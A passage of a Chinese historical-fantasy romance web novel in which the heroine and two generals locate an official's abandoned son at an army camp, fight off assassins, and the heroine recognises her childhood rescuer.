“对,今日一早,我大嫂就占卜出了魏志鸿长子就在京城东南五十里处。那里正巧就是雪暴军在京城外的驻扎地对不对?” 冷锋有些意外,“慕小姐如何会知晓?” “呃……”慕怀灵蓦地顿住,总不能告诉他,是因为自己去那里找过宁玉轩所以知道吧…… “呃…是我大哥说的。”慕怀灵极快地编了个理由,而后把话题再次带回到正事上,“所以我想请冷大哥和流星大哥陪我们一起去。有你们在,更能说服那位魏兄弟帮助我们。” 听完慕怀灵的话,冷锋与流星相视一眼,皆默契地点头。 “怀灵小姐客气了。如此重要之事,我和锋哥怎有不帮之理。” “流星说的对。既然已知晓了那人在雪暴军营,事不宜迟,我们这就出发。” 谈罢,冷锋流星带好佩剑,同慕怀灵三人一道坐上马车,向京城外驶去。 在路上,流星向她们简单说明了目前雪暴军的情况。 从年前开始,雪暴军中的一些精兵良将,便纷纷被委派了新的差事。 有的留在京中,有的被派往京城周边州县。 如今留在雪暴军营的人,仅剩一百余人。他们大多不满意被指派的新差事,或是想退役回乡。 因此雪暴军剩下的人,也会陆陆续续在这两个月内散去。 “原来如此。”慕怀灵道:“那你们呢?冷大哥和流星大哥武艺高强,战功赫赫,定能在京城或兵部谋个特别好的官职吧?” 此话一出,冷锋与流星的表情却变得有些落寞。 “我们……还没有被安排官职……” “啊?为什么啊?”慕怀灵甚是惊讶。 “此事复杂,王爷未提,我们也不方便去问。或许王爷对我们另有安排。” “哦…”慕怀灵不懂朝中复杂的关窍,因而也不便再多问。 马车中的几人沉默片刻后,流星才开口问道:“虽然我们如今推测出那人大致在雪暴军中。但军营中如今还剩一百多人,我们如何才能找到到底是谁?” “可以先找来花名册看看,将魏姓之人都传过来问问。”冷锋道。 “好主意!”流星兴致盎然地望向马朱雀,“再不济,我们这儿不是有位女道长吗?作为慕夫人的徒弟,炮仗小姐用道术找个人应该没问题吧?” 朱雀斜睨向他,这家伙,一刻不找她的麻烦就不行是吧。 白虎却巴巴地逮着机会就夸自己姐姐,“找个人而已,小菜一碟!我姐肯定没问题。” 朱雀猛地回头瞪去,“白虎!” 流星见此噗嗤一笑,“怎么?炮仗小姐做不到吗?” 做不到你个死人头! 一见面就知道激我! 只有见了他,我才会变炮仗! 朱雀深吸几口气,才压下自己的火气,目不斜视望着正前方的车窗,镇定道:“做不做的到,一会儿自会见分晓。” 哼,本姑娘不跟他一般见识。 流星见她连眼睛都未往自己这边转,不禁有些兴致缺缺,便也不再言语。 一个多时辰后,他们的马车终于驶到了雪暴军营地。 几人下了马车向营地大门走去。 大门前驻守的两名士兵,见到是冷锋与流星来了,连忙为他们开门。 “见过冷将军、流星将军!” “请起。”冷锋回了一句,又道:“如今营地还剩多少人?是何人在处理营中事务?” 第260章 260.离谱却有效 冷锋回了一句,又道:“如今营地还剩多少人?是何人在处理营中事务?” “回将军,营中尚有一百一十五人。如今是杨绪百夫长负责营中事务。” “好,你这就带我们去见杨百夫长。” “是,将军!” 其中一位守门士兵领着五人向营地内走去。 慕怀灵发现,如今营地中的士兵,确实比她去年来时少了很多。 且仅剩的士兵大多无精打采、神情茫然。 五人来到杨百夫长的营帐,冷锋与流星向他简要说明,想找一位魏姓士兵,但刻意隐去了找他的目的。 杨百夫长不敢怠慢,立即取出花名册给他们查看,发现目前营地中还有八名魏姓士兵。 “那就劳烦杨百夫长派人将他们都请过来吧。” 杨绪领命,即刻命手下前去将八名魏姓士兵传唤过来。 手下出去后,慕怀灵向冷锋小声问:“冷大哥,待会儿你想用什么法子找出魏志鸿的长子?难道要直接问吗?” 冷锋摇摇头,“不是。你稍安勿躁,等他们来之后你在一旁看着就好。” 不一会儿,手下便带着八名士兵回了营帐。 “杨将军,您要的人都带到了。” “好,你下去吧。”杨绪应罢,随后转向冷锋,“冷将军,请吩咐。” 这八名士兵整齐笔挺地站成一排,昂首挺胸。 在场几人中唯有慕怀灵见过魏志鸿,但她仔细盯着每个人看了半天,都无法从长相确定,哪个才是魏志鸿的儿子。 这时,冷锋站起身向八名士兵走去,自他们面前一一走过,道: “各位,当前有一个千载难逢的机会。户部侍郎魏志鸿大人,急需一位户部郎中从旁协助。 各位应该都知道,户部掌管全国各州及各级官员的粮晌,乃六部之一。户部郎中乃正五品官员。 若能当上户部郎中,可直接赏赐京城内宅院一座,并管家与丫鬟小厮十人。不知各位可有意向?” 此话一出,立在营帐中的八名士兵皆骚动起来。 能一步登天进入六部,享正五品官员的待遇,还可得一座京城宅院和十名下人。 将来说不定还可继续高升,比那些派去做武将和士兵的人出路好多了。 真是千载难逢的机会啊。 很快便有士兵忍不住出声提问,“报!请问将军,成为户部郎中有何要求?我等皆为武将出身,未读过多少书,可否还有机会?” 冷锋一本正经道:“本将军既然传尔等前来,定然是有机会的。魏志鸿大人只有一个要求,那便是成为郎中之人,要与他一样姓魏。” 冷锋编的这一连串话语,将营帐中的几人和杨百夫长都听懵了。 谁人不知京城与各州县的各级官员,都需经科举考试选拔而出,或是从世家贵族子弟中选贤任用。 哪里听过什么侍郎想要助手,就可随意挑选郎中了? 还说选郎中就一个要求,要与侍郎大人姓氏一致,这不是天方夜谭吗? 也就是军营中的士兵大多未读过书,甚至大字都未识得几个,更不了解科举与当官,所以冷锋的这番话尚能唬住他们。 并且这八位士兵不仅信以为真,还都兴致勃勃,开始幻想着当大官、住大宅子、享受荣华富贵了。 “将军我想去!” “我也想去将军!” “请将军为我报名!” 一时间,几名魏姓士兵争先恐后举手报名。 但唯有一人,从始至终未抬起过头,面上的表情甚至都未有多大变化,好似这天降的好运,激不起他的一点兴趣。 冷锋静静观察了片刻,便注意到了他。 随后,他抬手让其他七名士兵安静,“肃静!有意向的,在杨百夫长处留下自己的姓名、生辰和家中情况,之后静待消息便可。” 话毕,七名士兵皆朝杨百夫长蜂拥而去,争抢着留下自己的姓名。 而只有那一个士兵,依然立在原地,分毫未动。 这时,冷锋负手一步步行至此人身前。 “你为何不去报名?不想做户部郎中吗?” 此人颔首应道,语气平静无澜,“回将军,在下不敢奢望。在下已决定退伍回乡,已将各项事务安排好,今日便要离营启程。” “你的家乡在何地?” “回将军,甘州嘉礼县。” 一听到这个地名,冷锋即刻一凛。甘州嘉礼县,应该就是他了! “你叫什么名字?” “回将军,在下魏东阳。” “好,你下去吧。” 魏东阳领命,向冷锋抱拳鞠躬,而后便退出了营帐。 待其余七名士兵留名完毕,也都一一离开营帐。 此时,慕怀灵等人才纷纷来到冷锋身边,开口问道:“冷大哥你找到了吗?是不是就是方才没有去留名的那位士兵?” “对。我问过他了,他的家乡就是甘州嘉礼县,名叫魏东阳。” 众人的的心境霎时豁然开朗,“太好了,如此轻松便找到了!” “还是锋哥有办法,能想到如此离谱的借口,而且这样都能将他们骗过去,真是人才。”流星向他竖起大拇指揶揄道。 冷锋白了他一眼后,对众人道:“我也是想到魏志鸿被遗弃的儿子,必定从小对他恨之入骨,或避之不及。 若是有个机会让他去魏志鸿身边当差,他大概率不会去。 就算想去,心情也不会是欣喜向往,而是充满着憎恨与复仇。所以才出此下策。” 话到此处,冷锋转过身向杨绪道:“多谢杨百夫长配合。劳烦百夫长隔上五日再给那些士兵说,他们并未选上。” 杨绪点头应道:“是,将军放心。” “那个人呢?”慕怀灵问。 “他说今日便要启程离营回乡。” “那我们赶紧去追啊!” 几人赶忙跑出营帐去寻魏东阳,分头寻找了一阵,终于在营地大门处找到了他的身影。 “在这边!” 流星回身一声喊,冷锋与慕怀灵等人便奔了过来,而魏东阳已走出了一段路。 几人忙追上去叫住他,“魏兄弟!魏兄弟!” 听到呼喊,魏东阳转过身,见是冷锋等人,他有些意外。 “冷锋将军,流星将军。” “魏兄弟请留步。”冷锋流星奔到他面前,一时间却不知从何开口。 第261章 261.纸鹤传音 “魏兄弟请留步。”冷锋流星奔到他面前,一时间却不知从何开口。 “二位将军有何事吗?”魏东阳面露疑惑。 慕怀灵上前两步直接了当地问:“你是不是魏志鸿的儿子?” 魏东阳:“!!!” 魏东阳心内大惊,面上亦防备起来,“这位姑娘莫要胡言,在下怎会与魏大人有关系。”说罢转身便继续往前走。 “哎!等等!我话还没说完呢!” 几人跟在魏东阳身后紧追不舍。 既然慕怀灵已问了出来,冷锋也与他开门见山道: “魏兄弟,我们此次来找你,是想请你帮个忙。 我们大致了解你与魏志鸿之间的恩怨。他当年考上探花后抛弃了你和你娘,迎娶高官千金。 但我若是告诉你,他根本没有考上探花,是有人帮他调包了试卷,他才能当上探花,一路平步青云呢?” 此话一出,魏东阳蓦地停下脚步,之后猛地转过身。 “你们说这些到底想做什么!我早已跟他没关系了,他从前的事我也不想知道。你们放过我,让我走吧!” 喊罢,再次转过身加快脚步。 就在这时,又一道女声响起,“你娘呢?是不是因魏志鸿而死?难道你就不想为你娘报仇? 你就愿意放任魏志鸿与高官千金和他们的孩子享受锦衣玉食、荣华富贵,过着神仙般的日子。 而你,却如老鼠一般东躲西藏,惶惶虚度一辈子吗?” 马朱雀的话令魏东阳蓦然一顿,背影霎时僵在原地。 后方五人皆静静立在原地,等着魏东阳会做何反应。 可片刻后,他还是没有转回身,仅微微侧头对他们道: “你们想如何说随你们,总之不要再跟着我,我不会去京城的。” 话毕,魏东阳回过头,将包袱往肩上颠了颠,再次决绝离去。 后方五人见此皆懵在原地。 “这个魏东阳怎会如此胆小怕事,听见魏志鸿的名字跟老鼠见到猫似的,到底是不是男子汉啊!” 慕怀灵在背后气恼地怒骂几句,魏东阳仿若未闻,只管闷头往前走。 这时她才着急起来,“冷大哥,他要走了,这可怎么办啊?” 冷锋拧眉思索。他们方才将话都说到那种程度了,魏东阳还是不肯答应帮忙,想必心意已决,他们再纠缠胁迫他,也是枉然。 可若是不能将魏东阳请回去帮忙,慕家与周家或许就要被魏志鸿与娄贲击垮…… 思忖片刻,冷锋才道:“此事急不得,只可从长计议。我们先跟着他,陪他回嘉礼县,一路上慢慢劝说,看能不能从他口中问出些线索。” 慕怀灵纠结片刻道:“好吧,如今只能这样办了。” 又转头向朱雀问:“朱雀,你可有什么法子,能将目前的情况告知我大哥大嫂?告诉他们我们可能需要过几日才能回去。 有冷大哥和流星大哥陪着我们,让他们不要担心。” 朱雀即刻点头,“有法子,用纸鹤传音便可。” 说着,朱雀从衣袖中取出一张黄纸,熟练迅速地将其折成纸鹤。而后将其放在掌心,默念咒语对其施法。 只见一道蓝光从朱雀指尖飞出,落在纸鹤周身。纸鹤的翅膀似乎动了一下。 随后她便将纸鹤举至慕怀灵和冷锋流星等人面前,让他们将当前情况说清楚。 待他们三人解释清楚后,朱雀再念一段咒语,又一道蓝光击中纸鹤。 朱雀高喝一声,“起!” 令他们震惊侧目的一幕发生了。 那只纸鹤竟如活过来一般,伸了伸翅膀,转了转脖子,之后煽动翅膀飞了起来。 马朱雀向它大声道:“去永嘉侯府,将消息带给师父和侯爷。去!” 那只纸鹤便如同得令一般,向着京城的方向,扑搧着翅膀快速飞去,片刻便不见了踪影。 慕怀灵一手遮在眼睛上方,远眺了一阵,直到看不见了,才转回身赞叹道:“哇,朱雀你如今好厉害啊。这么难的道术都学会了。” 白虎捧哏立刻上线,“那可不!我姐一天到晚不是在读各种道术经典,就是在练习法术咒语,比那些考科举的人都要刻苦!” 流星双臂将长剑抱在胸前,笑道:“炮仗小姐确实有两把刷子啊。若是能让魏东阳回心转意,跟我们回京城就好了。” 马朱雀白了他一眼,“世上最难改的就是人心。若是我用咒术让他跟我们回去,那便是蛊惑人心了。” “开个玩笑嘛。”流星痞痞道:“就算真有那种咒术,也是邪术,我们不会让你用的。” 马朱雀抬眼怼道:“那我们还在这儿等什么?赶紧去追魏东阳吧。” 话毕,五人纷纷振奋起精神,循着魏东阳离开的方向再次追了上去。 魏东阳打算沿小路走到临近的县城,再在县城中搭车回嘉礼县。 他走了一阵,终于听不到身后冷锋慕怀灵等人的声音了,这才松了一口气。 他们是如何知晓自己就是魏志鸿的儿子的? 还说想找他帮忙,不就是让他再次踏入险境中吗? 魏东阳还记得六岁那年,自己与娘亲被魏志鸿派来的杀手追杀。 娘亲为了保护他,让他躲在床下,将一包魏志鸿曾经写给他们母子的书信塞给他,并嘱咐他不要为自己报仇,能走多远便走多远,再也不要回京城。 最后,娘亲自己跑出去引开杀手,最终死在了杀手的刀下。 当时年仅六岁的魏东阳,尽管惊恐悲痛,但他还是克制住自己,未发出一丁点声音,这才逃过了杀手的追杀。 此后,他谨记娘亲临终前的叮嘱,离开京城在盛国各州县游荡。 偶然看到北疆军队招募士兵,他便报了名。如此一来,他便去了北疆,与京城相隔千里。 直至此次定北王被传唤回京,雪暴军精锐也一同跟他来到京城,魏东阳这才再次回到小时候噩梦般的地方。 来到此地后,魏东阳不像其他士兵那般,祈祷着能被安排个京城的差事。 他只想尽快离开此是非之地,回到家乡。没成想在他离开这日,竟有人为了当年之事找到了他。 回忆至此,魏东阳再次听到一阵脚步声自身后传来。 第262章 262.情况危急 回忆至此,魏东阳再次听到一阵脚步声自身后传来。 岂有此理,那些人为何如此难缠,如狗皮膏药一样甩都甩不掉! 烦躁之下,正准备回头骂他们两句,没成想刚一侧身,一柄利剑便擦着他的脖颈而过。 魏东阳大惊,迅速抽出佩剑挡开那一剑,后退两步,身后却又有蒙面杀手向他攻了过来。 他慌忙侧身躲过,又与身后的黑衣人持剑打斗起来。 打斗之间他大致一数,包围住他的黑衣人竟有数十人之多! 这些人是何人! 难道是魏志鸿已经知道了他的身份,要对他赶尽杀绝? 不及他细想,数十名黑衣蒙面者,一齐向他发起进攻。 魏东阳虽在军中历练了十几载,武艺不算弱,但双拳难敌四手,更何况是十多名武功高强之人齐攻而上,魏东阳抵挡一阵后,便难以招架。 就在他被一脚踢翻在地,黑衣人的大刀就快挥至他的脖颈时。 但闻噹的一声,一颗石子不知从何处飞来,带着势不可挡的气势,打在黑衣人的大刀上,竟将那把大刀击成了两段! 黑衣人大惊,后退两步侧头望去,但见两位高大魁梧、手持长剑的男子,使出轻功向他们这边飞跃而来。 倒在地上的魏东阳亦侧头看去,竟见原来是冷锋与流星两位将军来了! 冷锋流星加入后,局势瞬间扭转。 二人武艺出类拔萃,又身经百战,几招下来便将那些黑衣人打得节节败退。 魏东阳也从地上爬起身,再次加入战斗当中。 慕怀灵则被朱雀白虎保护着,立在远处焦急观望着他们那边的情况。 “那边情况如何了?魏东阳有没有事?冷大哥他们能不能打得过那些黑衣人?” 慕怀灵踮着脚尖眯起眼,焦急异常。 “魏东阳没事儿,他好像也站起来了,和冷锋流星一起配合呢。”朱雀道。 “冷锋和流星两位大哥特别厉害,那些黑衣人都不是他们的对手。看样子那些黑衣人要撤退了。” 白虎亦眯着眼睛远眺,但看着看着,他的脸色和语调却变了。 “那些黑衣人确实撤退了,但是向我们这边来了!怀灵姐姐快躲起来!” 三人闻之脸色立即大变,朱雀白虎赶忙护着慕怀灵往旁边跑去。 但此地一片荒芜,连一棵树都没有,只有他们来时驾的那辆马车。 三人只好躲在马车后面,小心翼翼地观察着外面的情况。 他们三人中,只有朱雀会些武艺,若是那些黑衣人过来,有心要伤他们,他们三人必定招架不住。 慕怀灵心中祈祷着那些黑衣人赶紧逃走,别注意到他们。 但偏偏怕什么就来什么。 那些黑衣人逃窜过程中注意到了他们的马车。那马车一看便知是大户人家的马车。 若是能劫持上一位大户人家的公子或小姐,用人质去换魏东阳,还有几成完成任务的希望。 如此想着,剩下的五六名黑衣人,朝着马车后疾步奔了过来。 三人顿时大惊失色,朱雀白虎护着慕怀灵忙往另一个方向跑,可不一会儿还是被几名黑衣人追上。 朱雀即刻回过身,抽出短剑挡在众黑衣人面前,“白虎,你带怀灵小姐快跑!去找流星冷锋!” 白虎纠结又担忧,但却不敢忤逆姐姐的话,于是带着慕怀灵向冷锋流星的方向跑去。 “姐姐你当心!我们这就去找两位大哥过来!” 黑衣人也不傻,一眼便看出逃走的那位姑娘才是正牌千金小姐,而眼前挡住他们的,不过是懂些武艺的侍女而已。 遂,几名黑衣人也不恋战,与朱雀过了几招后,留下两人拖住朱雀,另外三人则继续向慕怀灵追去。 慕怀灵见此心叫不妙,遭了,此次出门居然这么倒霉,竟让他们碰上如此危险之事。 她这点三脚猫的功夫,对付那些黑衣人根本不够用。 她与马白虎只好拼了命地向冷锋等人狂奔,一面大声呼喊着,“冷锋!流星!救命啊!” 而那边将将结束战斗的冷锋与流星,正准备询问一下魏东阳的情况,对他关心一二。 谁料就在这时,他们听到了慕怀灵和白虎的喊声。 几人猛地转过头去,便见慕怀灵和白虎正拼命朝他们跑来,而马朱雀还在与两名黑衣人缠斗。 冷锋流星顷刻间将魏东阳抛在脑后,闪身一跃便向她们飞奔而去。 眨眼间的功夫,冷锋便赶到了慕怀灵身边,抬起手臂将其护在身后,“你没事吧?” “没事...”慕怀灵躲在冷锋背后,大口喘着气,不自觉地握住他的手臂,仿佛这样做能带给她安全感。 处在极度紧张警惕中的冷锋,并未注意到她的这一举动,双目紧盯对面的三四名黑衣人,迎着他们的攻击应对上去。 流星则径直朝朱雀那边飞跃而去。一连几个跟头后,终于翻到了朱雀身前,一剑划向即将要刺中她的那名黑衣人的脖颈。 刹那间,鲜血喷涌而出,溅了流星一袖子。 另一名黑衣人见此,惶恐后退两步,仅犹豫了一瞬,便转身飞奔而逃。 流星急忙转身扶住马朱雀,关切问道:“你怎么样?有没有受伤?” 还不待朱雀回答,她左臂上的一道血口,瞬时刺痛了流星的眼睛,“该死的...” 流星迅速收起长剑,抓住朱雀左臂的衣袖,猛地用力一扯。 只听刺啦一声,朱雀的半条袖子便被他扯掉,光洁纤细的手臂顷刻间暴露而出。 而迎接流星的,却是朱雀的一巴掌,“啊!你做什么!流氓!” 这结结实实的一耳光让流星懵了一瞬,但此时他已顾不得那么多,回过神来后仅怒气冲冲瞪着她吼道:“我要给你包扎伤口啊笨蛋!” 这下轮朱雀懵了。 只见流星从衣襟中掏出一枚小瓷瓶,将瓷瓶中的粉末仔细倒在朱雀手臂上的伤口处,再从衣服下摆撕下两条布条,将其缠绕在伤口上。 “这是止血散,可暂时消炎止血。”流星一边缠布条,一边解释道:“你不要动,我帮你包扎好。” 第263章 263.小哥哥,原来是你 “你不要动。我帮你包扎好。” 流星垂着眼睫,无比认真地望着她的伤口,手上的动作迅速但轻柔。 朱雀怔怔地望着流星,一时间不知该做何反应,一动也不敢动。 又想起方才自己还打了他一巴掌,朱雀的脸颊不由得热了起来,真是羞愧难当。 包扎完毕后,流星总算松了口气,“呼好了,幸好伤的不是很重,待会儿我们回京城再找大夫处理你的伤口。” 二人这边将将安全,冷锋慕怀灵那边却还处在危急之中。 冷锋一人与三人对打,又要护着慕怀灵和马白虎两人,有些应顾不暇。 他将将解决掉一名杀手后,身后的慕怀灵一声尖叫响起,“啊!冷大哥救我!” 冷锋转过身,竟见不知何时一名黑衣人绕到他身后,向慕怀灵杀了过去。 事发紧急,冷锋来不及抽剑去阻止,只得用自己的身躯挡在慕怀灵身前… 下一瞬,但闻噗嗤一声,杀手的利剑刹那穿透冷锋的左肩。 剑尖带着鲜血,与慕怀灵的眼睛仅差一寸之隔。 慕怀灵尖叫一声,惊恐大喊,“冷大哥!” 冷锋不自觉地屏住呼吸,仅闷哼一声,硬生生忍住这一剑带来的剧痛。 紧接着,他竟抬手握住黑衣人的手腕,猛然一用力便扭断了对方的手腕! 黑衣人惨叫一声放开剑,却被赶来的流星从背后一剑刺中心脏,当场毙命。 而仅剩的一名黑衣人,又在马白虎和慕怀灵身后举起了剑…… “当心!” 马朱雀只来得及喊出一声“当心”,却来不及赶过去救他们。 冷锋与流星也离得太远,只得眼睁睁看着那杀手的长剑,向马白虎和慕怀灵的脖颈而去…… 五人面上惊恐的表情,仿佛皆定格在了此刻。 紧接着,利刃刺入骨肉中恐怖声音响起。 黑衣人缓缓低下头,望向自己胸口处刺出的剑尖,眼中尽是难以置信。 之后,他口中便喷出一股鲜血,痛苦地倒在地上,不一会儿便咽了气。 黑衣人倒下后,众人抬头望去,原来是魏东阳及时赶来,从背后将此杀手解决。 “呼……”五人齐齐松了一口气。 但慕怀灵的一口气还未吐完,一旁的冷锋突然捂着肩膀坐到了地上。 “冷大哥!” 众人忙赶到冷锋身边,慕怀灵一脸焦急,“冷大哥你怎么样?要紧吗?” 冷锋唇色有些苍白,微微摇头,“无碍,一点小伤而已。” 而后他望向流星,“止血散带了吗?” “带了!” 流星利落地蹲下身,将冷锋的衣襟拉开,露出他受伤的左肩。 只见左肩处一片血肉模糊,甚至还在往外渗着血,让他们有些看不清伤口的位置。 魏东阳连忙打开自己的包裹,来到他们身边道:“我这里有一些酒,你们帮他把肩上的血冲冲。” 说着,将一个酒囊递给了他们。 流星谢过后,又从自己衣摆上撕下几条布,打开酒囊将酒倒在冷锋肩部。 方一倒上去,冷锋便蓦地一抖,疼得从牙缝里倒吸一口气。 流星一面帮他擦着血,一面道:“你忍一忍,马上就好。” 随后,冷锋咬紧牙关,再也不吭一声,身子不受控制地微微颤抖。 流星很快用布条将冷锋肩膀上的血痕擦干净,暴露出了这次的剑伤。 之后,流星便取出止血散,准备为他上药。 在此期间,慕怀灵一直在旁边紧张地注视着冷锋。 如果冷锋因为救自己而有个什么三长两短,慕怀灵一辈子都不会安心。 而当流星将冷锋肩部的血冲掉后,慕怀灵突然注意到冷锋左肩伤口上方的一块伤疤。 慕怀灵忽然感觉,眼前这一幕很是熟悉。 似乎在很久以前,也有这样一位清冷漠然的少年,不顾一切挡在她身前,为她挡去致命的一箭,左肩却被利箭穿透。 当时她也是这般,木木地坐在一边,望着旁人赶来帮他处理伤口。 最后伤确实痊愈了,但在他的左肩上,永远留下了一块疤。 那块疤痕,渐渐与冷锋肩上的那块疤重合。 是巧合吗? 还是……他就是当年那个清冷漠然的少年? “冷大哥,你的左肩…之前也受过伤吗?”鬼使神差一般,慕怀灵将心中的疑问问了出来。 此时流星已为他的伤口上了止血散,准备为他包扎。 慕怀灵这一问,令两人都愣了愣。 顺着慕怀灵的目光看去,二人才意识到她注意到了冷锋肩部的疤痕。 如此说来,慕怀灵有可能想起了什么? 冷锋抬首望着她的眼眸,微微点头。 慕怀灵继续追问:“是怎么受伤的?为何会伤在那里?” “呃……”冷锋的心跳蓦然加快,不知该如何开口向她解释。 要将事实真相告诉她吗?若她不相信该如何? 慕怀灵见他欲言又止,方才还望着她的眼眸,此刻已低下头躲开了她的视线。 慕怀灵便知道,他之前对她撒了谎。 “你说啊!你的伤是怎么来的?你到底是谁!” 慕怀灵也不知自己这是怎么了,望着冷锋吞吞吐吐的样子,她愈加又气又急。 一旁的流星再也看不下去,直接大声喊道:“他就是十年前在北疆军营,为你挡下一箭的那个少年!” 轰隆隆! 此话仿若一道惊雷在慕怀灵和冷锋头顶炸响。 二人的视线终于撞在一起。 慕怀灵的眼中是满满的震惊,震惊过后,又流露出一丝“果真是你”的欣喜。 而冷锋眼中,则头一次流露出慌乱与不确定的神色,仿佛在惧怕慕怀灵不认他该如何。 二人就这样对视着,周围人也都未再开口打断他们。 因为流星等人明白,他们二人等这一刻,都等了太久。 良久,慕怀灵突然一个泄气,噗嗤一声本想笑,嘴角咧开却又哭了出来。 下一秒,她蓦地跪在冷锋身旁,紧紧抱住他的脖颈,再也不想松开。 “呜呜呜…小哥哥,你为何现在才告诉我……你知道灵儿找你找的多辛苦吗呜呜呜……” 冷锋则刹那间僵住了。 他完全没想到慕怀灵竟这么快就相信了他,甚至自愿投入他的怀抱。 他心中的大石终于落下,今后终于不用为如何向她开口解释而担忧了。 第264章 264.有缘人终得相认 冷锋心中的大石终于落下,今后终于不用为如何向她开口解释而担忧了。 感受着慕怀灵埋首在自己颈间哭泣,冷锋不自觉抬起右手回抱住她,轻抚着她的背脊,在她耳边低声安慰。 “是我不好,未及时向你解释清楚。你别哭了,哭花了脸就不好看了。” 一旁的朱雀白虎望见这一幕,皆用疑问的眼神望向流星。 流星小声对他们解释了一番,二人即刻恍然大悟。 “原来师父说的怀灵小姐的命定之人,是冷大哥!” “如此说来,那位宁公子是碰巧捡到冷大哥的玉佩,让怀灵姐姐误会他才是她的救命恩人?这不是欺骗吗?那位宁公子人品也太差了吧!”白虎气愤地说。 马朱雀亦义愤填膺道:“我就看那个姓宁的不顺眼,果真是个骗子。 他还想让怀灵小姐为他在京城谋份差事…哼,真不要脸!” 流星闻之也略略讶然,“宁百夫长竟还提过这种要求?那他如今在何处?” 朱雀道:“听说他进了京城的五城兵马司,不知是何职位。” “五城兵马司…是个好地方啊。”流星摸着下巴问:“是慕侯爷帮他安排的吗?” “不是。那段时候侯爷和师父还有你们王爷,不是都被困在镜中世界了吗?哪有心思帮他安排差事啊。” “原来是那段日子。”流星后知后觉道:“那宁玉轩是如何进五城兵马司的?” 朱雀白虎耸耸肩,“我们哪里知道……” 那边慕怀灵抱着冷锋哭了一阵后,渐渐止住泪意,慢慢放开手,与冷锋面对面坐着,细细凝视着他的脸。 这线条锋利的面庞,高挺细长的鼻梁,总是紧绷着的薄唇,以及如深潭般幽深平静的眼眸,正是她记忆深处小哥哥的模样。 而此时,那双深邃沉静的眼眸深处,正有一股激烈暗流在涌动,好似就要突破防线,彻底倾泻而出。 “怀灵…对不起,我不慎将你送我的香囊弄丢了。我怕贸然告诉你我的身份,你会不相信我,所以……” “你说你把香囊弄丢了?”慕怀灵敏锐地抓住这句话,“是不是在清波湖的那日?” “对。那日我看到你落水,立刻跳下船去救。那时还不知你就是怀灵。 我将你救上岸后便离开了。回王府后才发现香囊不见了。我和流星又回画舫上去找,却未能找见……” “等等,你说那日是你救的我?”慕怀灵迅速转头望向朱雀白虎,“是这样吗?” 二人点头道:“确实是冷大哥救了你,但他没等到你醒来就离开了。你醒来后就将宁公子当成了你的救命恩人,还看到了他手里的香囊……所以…所以我们也没好意思给你说……” 马朱雀向冷锋抱歉道:“对不起啊冷大哥。我们应该一早就告诉怀灵小姐的,平白让你们误会了这么久……” 慕怀灵回首再次怔怔望向冷锋,心中的激动与感激溢于言表,“你又救了我一次……还是你……” 冷锋的嘴角微微动了动,面上流露出点点羞赧与深情,“或许这就是命中注定吧。” 此话从冷锋口中说出,令慕怀灵再次忍不住哭了出来,抱着他久久不能放手。 周围立着的四人:“……”看别人秀恩爱,还真是如芒在背啊。 不知过了多久,慕怀灵的情绪终于平复下来,放开冷锋望着他娇嗔道:“小哥哥,以后你可不准再离开我了,也不准不理我。” 冷锋好脾气地点头依她,“好,我一定不会不理你。” 流星:“???”这一幕将流星看得一愣一愣。 啥?你告诉我这是那个冷心冷情,从不带一丝情绪的冷锋将军? 如今竟对着一位女子如此百依百顺,流星三观顿时崩裂。 “喂喂喂,你们俩行了啊。我们四个还在旁边呢。” 冷锋与慕怀灵这才收敛了些,略略尴尬地望了流星等人一眼,又不禁相视一笑,而后互相搀扶着站起身。 冷锋起身后,向魏东阳道:“谢谢你魏兄弟,方才及时出手救了怀灵。” 魏东阳只是轻轻点了点头,“将军客气了。魏某也多谢您和流星将军出手相助,否则方才我已命丧那些杀手的刀下。” “看来魏志鸿已经急不可待出手了。魏兄弟,难道你还要这样一直躲下去吗?” 魏东阳暗叹一声摇摇头,“如今我想明白了。只要我活在这世上一日,就是魏志鸿心头的一根刺,他必除之而后快。 所以无论我躲去哪里,他都一定会找到我,杀了我。我再躲下去,也仅是延缓他杀我的速度而已。 因此我决定,同你们一起回京城,为你们作证,将魏志鸿彻底打垮。如此,我后半生才能安宁。” 冷锋与慕怀灵等人闻之,皆长舒一口气,喜笑颜开。 “你能想明白真是太好了。”慕怀灵道:“你放心,跟我们回永嘉侯府,我们一定会保你周全。你只需将自己所知的全说出来便好。” 望着他们五人自信坚定的笑,魏东阳也感觉身后有了支柱,点点头向他们深深鞠了一躬。 “多谢两位将军和慕小姐。” 随后,六人坐上马车返回京城。 回到京城时,天色已晚。 慕怀灵让马白虎先将马车驶去永嘉侯府,让府医为冷锋和朱雀换药处理伤口。 慕怀瑾与徐菀接到消息后,也来到前厅。 望见前厅中正在换药的二人,以及多出来的年轻男子,慕怀瑾便知他们此行必是遇到了险情,万幸的是众人皆平安归来。 “怀灵,冷将军,你们都没事吧。” 慕怀瑾走上前问道,徐菀也向朱雀走去,弯身关心她的伤势, 冷锋本想起身行礼,慕怀瑾忙拦住他。 冷锋便微微颔首道:“只是一点小伤,侯爷不必担忧。” 慕怀瑾点头道:“大家都平安归来便好。今晚就宿在侯府吧,明日再回去。” 之后,他将目光投向魏东阳,“这位兄弟是?” 魏东阳放下包袱,向慕怀瑾跪拜行一大礼,“在下魏东阳!拜见侯爷!” 徐菀行至慕怀瑾身边,望着魏东阳开口道:“你就是魏志鸿的长子吧。” 第265章 265.此生赖定你啦 徐菀行至慕怀瑾身边,望着魏东阳开口道:“你就是魏志鸿的长子吧。请起来说话。” 魏东阳起身,众人皆落座后,慕怀瑾向魏东阳询问了一番今日的情况,随后便进入正题。 “魏兄弟,想必你已清楚此次我等请你回京的目的。 你可愿作为人证,到时出面指认魏志鸿就是你的亲生父亲?指认他当年为了高官厚禄,抛弃你们母子,甚至要对你们赶尽杀绝?” 魏东阳斩钉截铁道:“回侯爷,在下愿意!我早已不再将魏志鸿当作我爹。 他就是个十恶不赦之徒。此种大奸大恶之人,理应受到应有的报应!” 魏东阳说着,又向慕怀瑾禀告道:“侯爷,我不仅可做人证,手上还有一样可证明魏志鸿当年调包了试卷的证据。” “哦?”厅内众人皆是一惊,齐齐向魏东阳望了过去。 只见他打开自己的包袱,从其中掏出一个用布包住的东西。 他小心翼翼打开那布包,众人望去,见里面包着的皆是一些书信和纸张。 “禀侯爷、夫人,这是我娘临死前塞给我的布包,其中的书信皆是魏志鸿早年写给我们娘俩的。每封信落款皆是他的署名和印章。 您可用这些书信上的笔迹,与他当年考取探花时试卷上的笔迹对比,自然可断出那试卷是不是他所写。” 慕怀瑾命墨竹将那些书信取来,他与徐莞细细查看后,不禁愈加欣喜振奋。 